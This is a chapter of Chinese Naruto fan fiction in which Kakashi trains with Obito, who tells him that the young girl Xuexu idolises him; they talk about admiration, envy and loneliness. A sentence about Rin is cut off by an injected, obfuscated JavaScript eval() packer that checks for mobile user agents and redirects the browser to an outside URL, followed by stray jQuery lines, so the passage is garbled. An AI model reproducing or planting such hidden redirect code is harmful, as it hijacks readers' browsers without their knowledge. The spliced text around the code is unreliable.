清晨的阳光从窗帘的缝隙里钻进来,在地板上画出一道细长的金线。
卡卡西睁开眼睛。不是自然醒的,而是生物钟。每天这个时候,他都会准时醒来,误差不超过五分钟。
躺着没动。天花板上有道裂缝,从左边墙角延伸到中间,像一条细细的河。他看过无数次了,闭着眼睛都能画出来。
翻身,起床。动作很轻,因为只有一个人,轻重都一样。
洗漱。
冷水拍在脸上,清醒了一点。抬头看镜子,镜子里的人戴着面罩,露出一双没什么精神的眼睛
他盯着镜子里那双眼睛看了一秒。然后移开视线。
厨房很小,一个人刚刚好。打开冰箱,拿出昨晚剩下的味噌汤,热一热,配上米饭和腌萝卜。
吃饭的时候很安静。筷子碰到碗的声音,喝汤的声音,窗外偶尔传来的鸟叫声,没有别的了。
吃完,洗碗,放好。
然后换衣服,拿起忍具包,准备出门。
走到门口,他忽然停下来,回头看了一眼。
小小的屋子,空空荡荡的。
玄关的鞋柜上,摆着一个相框。相框里是一个男人的照片,银色头发,温和的笑容,和他一样的死鱼眼。
旗木朔茂,五年前去世的父亲。
卡卡西站在那里,看了一会儿。
然后他打开门,走出去。
门在身后关上。
咔哒一声。
早晨的街道很安静,偶尔有几个早起的人路过,和他打招呼。
“卡卡西,这么早去训练?”
“嗯。”
简单的对话,然后各自走开。
他喜欢这样,不麻烦,不啰嗦,不需要说多余的话。
七号演习场离他家不远,走一刻钟就到了。
今天来得早,训练场里没人。草地上的露水还没干,在阳光下闪着细碎的光。
卡卡西走到靶位前,掏出苦无,开始练习。
每一枚都正中红心。动作标准,姿势稳定,呼吸均匀。但他知道,这只是机械的重复。身体记得这些动作,不需要动脑子。脑子在别的地方。
他想起昨天傍晚,街对面的那个身影。
淡紫色的裙子,披散的头发,耳边别着一个小小的发卡。
和他之前见过的样子不一样。
之前是两只小揪揪,像两颗小丸子,整天蹦蹦跳跳的。现在头发放下来,软软地披在肩上,忽然就——
不一样了。
像换了个人。
还有她看他的眼神,亮晶晶的,带着一点点害羞,但又很认真,好像他是什么了不起的人。
他想起自己送出去的那枚小苦无。
为什么要送?不知道,就是觉得……应该送。
她还那么小,要上忍校了,要学扔苦无了。那枚小的正好适合她。
就这么简单,没什么别的意思。
“卡卡西!”一个声音从背后炸开。
卡卡西的手顿了顿,苦无偏了一点,扎在八环。
他回头,看见带土正朝这边跑过来,橙色的衣服在阳光下格外刺眼,额头上那副防风镜一颠一颠的。
“你果然在这!”带土跑到他面前,扶着膝盖喘气,“我找了三个地方!”
卡卡西看着他:“找我干什么?”
“没事不能找?”带土直起腰,“今天休息,想来练习,结果你也在这。”
他说着,自己掏出苦无,站到旁边开始练。
一枚出去,扎在七环。
“啧。”
又一枚,八环。
“再来。”
第三枚,终于九环。
带土满意地点点头,回头想和卡西说话,发现对方正盯着自己的靶子看。
那双死鱼眼里,好像有什么东西。
“你看什么?”带土警惕地问。
“没什么。”
“你刚才那个眼神,你看我笑话!”
“没有。”
“有!”
卡卡西没说话,只是又扔出一枚苦无。
正中红心。
带土沉默了,他看看卡卡西的靶子,又看看自己的靶子。
“你故意的吧?”他问。
“什么?”
“故意在我面前炫耀。”
卡卡西想了想,诚实地回答:“没有。我一直这样。”
带土又被噎住了,这个人是真的不会说话,但他也习惯了。
两人练了一会儿,带土忽然问:“昨天你是不是见到雪绪了?”
卡卡西的手顿了顿。
“……嗯。”
“她换了新发型?”带土凑过来,“好看吗?”
卡卡西沉默了一秒。
“……还行。”
“还行?”带土瞪大眼睛,“她跟我说你夸她好看的!”
卡卡西的动作停了一下。
“她告诉你的?”
“对!”带土点头,“昨晚跑来我家,叽叽喳喳说了半天,说卡卡西夸她好看,卡卡西送她苦无,卡卡西还对她挥手——”
他学着雪绪的语气,把最后三个字拖得长长的。
卡卡西沉默了。
他想起昨天那个挥手的动作。
就那么轻轻抬了一下手,至于吗?
“她还说,”带土继续,“她决定把你当男神。”
卡卡西愣住了。
“男神?”
“对!就是特别特别崇拜的人!”带土解释,“她原话是——‘又神秘又帅气又厉害,看见他就心跳加速’。”
卡卡西沉默了。
心跳加速?看见他?
“你不信?”带土问,“我也觉得夸张,但她就是这么说的。”
卡卡西没说话,但脑子里,忽然浮现出那张小脸。
亮晶晶的眼睛,红红的脸颊,小小的声音说“谢谢卡卡西”。
“带土。”他忽然开口。
“嗯?”
“她……平时也这样?”
带土眨眨眼:“什么样?”
“就是……看见谁都说帅?”
带土想了想,认真地说:“没有。她只说过你。”
卡卡西愣住了。
“真的?”
“真的。”带土点头,“她说鼬君好看,但不是帅。说我是第二喜欢的人,但不是男神。说你是唯一的男神。”
卡卡西沉默了。
唯一的……男神。
他?
“你别得意,”带土忽然说,“我心里也挺酸的。”
卡卡西看他。
“什么?”
“就是——”带土挠挠头,“那小孩平时见了我,都是‘带土哥带土哥’地叫,有什么好事第一个告诉我,有什么好吃的分我一半。我以为在她心里,我挺重要的。”
他顿了顿。
“结果你一来,她就满嘴‘卡卡西卡卡西’了。”
卡卡西没说话。
带土继续说:“我陪她玩了一个多月,每天送饭,每天陪练,每天听她念叨青蛙。你呢?就见了两次,救了她一次,送了一枚苦无——就成了男神。”
他看着卡卡西,表情有点复杂。
“你说这公平吗?”
卡卡西想了想,诚实地回答:“不知道。”
“不知道?”
“我又不是你。”
带土愣了一下,然后笑了。
“也是,”他摇摇头,“你什么都不在乎。”
卡卡西没说话。
他确实什么都不在乎,至少他自己这么觉得。
但带土的下句话,让他愣了一下。
“不过,”带土说,“那小孩说过一句话,让我觉得还行。”
“什么话?”
“她说,我是她第二喜欢的人。”带土说着,嘴角微微翘起,“第二喜欢哦。除了她哥哥,就是我了。”
他看着远处,语气里带着一点点得意。
“你虽然是她男神,但你是第三。”
卡卡西沉默了一秒。
第三。
他排第三。
第一是止水,第二是带土,第三是他。
不知道为什么,这个排名让他有点——
奇怪的感觉。
不是不高兴。
也不是高兴。
就是……奇怪。
“你知道吗,”带土忽然又说,“我其实挺羡慕你的。”
卡卡西看他。
“羡慕我?”
“对。”带土点头,“你那么厉害,谁都认识你。琳也崇拜你,雪绪也崇拜你。走到哪里都有人喊你的名字。”
他看着自己的手。
“我就不一样了。没什么人认识,没什么人崇拜。有时候我都怀疑,我是不是根本不适合当忍者。”
卡卡西沉默了一会儿。
然后他开口。
“琳也崇拜我?”
带土愣了一下:“你不知道?她每次提起你,都是一副‘卡卡西好厉害’的表情。”
卡卡西没说话。
他确实不知道。
琳,同班的队友,总是笑眯眯的,很温柔的女孩。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297047|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
崇拜他?
“还有雪绪,”带土继续说,“你救了她一次,她就把你当男神了。你知道这意味着什么吗?”
“什么?”
“意味着你做了点什么,别人就会记住你。”带土说,“我就不一样了。我天天陪她,天天送饭,她才把我当第二喜欢的人。”
他叹了口气。
“有时候我真想知道,被人崇拜是什么感觉。”
卡卡西看着他。
看着这个平时总是笑嘻嘻的男孩,难得露出一点低落的表情。
忽然,他开口问:
“你羡慕我?”
“对。”
“那换一下?”
带土愣了一下:“换什么?”
“你来当卡卡西,我来当带土。”
带土眨眨眼,消化了一下这句话的意思。
然后他笑了。
“你傻啊?”他说,“这还能换?”
卡卡西没说话。
带土笑着笑着,忽然认真起来。
“其实,”他说,“我也不想换。”
卡卡西看他。
“因为我是带土啊。”带土说,“虽然不厉害,虽然没人崇拜,但我是带土。雪绪叫我带土哥,琳叫我带土,奶奶叫我孙子——这就够了。”
他看着远处,语气变得轻快起来。
“而且,第二喜欢也挺好的。至少有人喜欢。”
卡卡西沉默了一会儿。
然后他点点头。
“嗯。”
带土转头看他,忽然问:“你呢?”
“什么?”
“有人喜欢吗?”
卡卡西愣了一下。
有人喜欢吗?
父亲以前喜欢他。
但父亲不在了。
其他人——
“不知道。”他说。
带土看着他,忽然觉得这个天才,好像也没那么高高在上。
“会有人的。”他说。
卡卡西看他。
“什么?”
“会有人喜欢你的。”带土说,“雪绪不就喜欢你吗?虽然是第三,但也是喜欢。”
卡卡西沉默了,然后他点点头。
“……嗯。”
两人沉默了一会儿,继续练习。
太阳越升越高,训练场里渐渐来了其他人。
带土忽然想起什么。
“对了,”他说,“雪绪说明天开始上学了。”
卡卡西的手顿了顿。
“嗯。”
“她让我告诉你,她会在学校好好努力的。”带土学着雪绪的语气,“‘告诉卡卡西,我会变得很厉害,以后和他一起出任务!’”
一起出任务?
“她还说,”带土继续,“想看看你面罩下面什么样。”
卡卡西的动作停了一下。
“……这个不行。”
“为什么?”
“没有为什么。”
带土笑了:“我就知道你会这么说。”
两人又练了一会儿,带土忽然停下来。
“卡卡西。”
“嗯?”
“谢谢你。”
卡卡西看他。
“谢什么?”
“听我说这些。”带土挠挠头,“平时没什么人愿意听我唠叨。”
卡卡西沉默了一秒。
“没什么。”
带土笑了,拍拍他的肩。
“那我先走了,下午还有事。”
他收起苦无,往外走。
走了几步,忽然回头。
“卡卡西!”
“嗯?”
“下次见到雪绪,记得多夸她几句!”带土喊,“那小孩吃这套!”
卡卡西没说话。
但带土已经跑远了。
训练场又安静下来。
卡卡西站在原地,看着带土消失的方向。
然后他低头,看了看自己的手。
刚才那枚苦无,还握在手里。
有人喜欢吗?
会有人喜欢吗?
雪绪喜欢他——虽然是第三。
带土说羡慕他。
琳崇拜他。
这些,算吗?
他不知道。
但他忽然想起父亲说过的话。
“卡卡西,人活着,总要有点牵挂的东西。”
牵挂?
他现在牵挂什么?
太阳升高了,阳光暖洋洋地洒下来。
他一个人站在靶位前,一下一下地投着。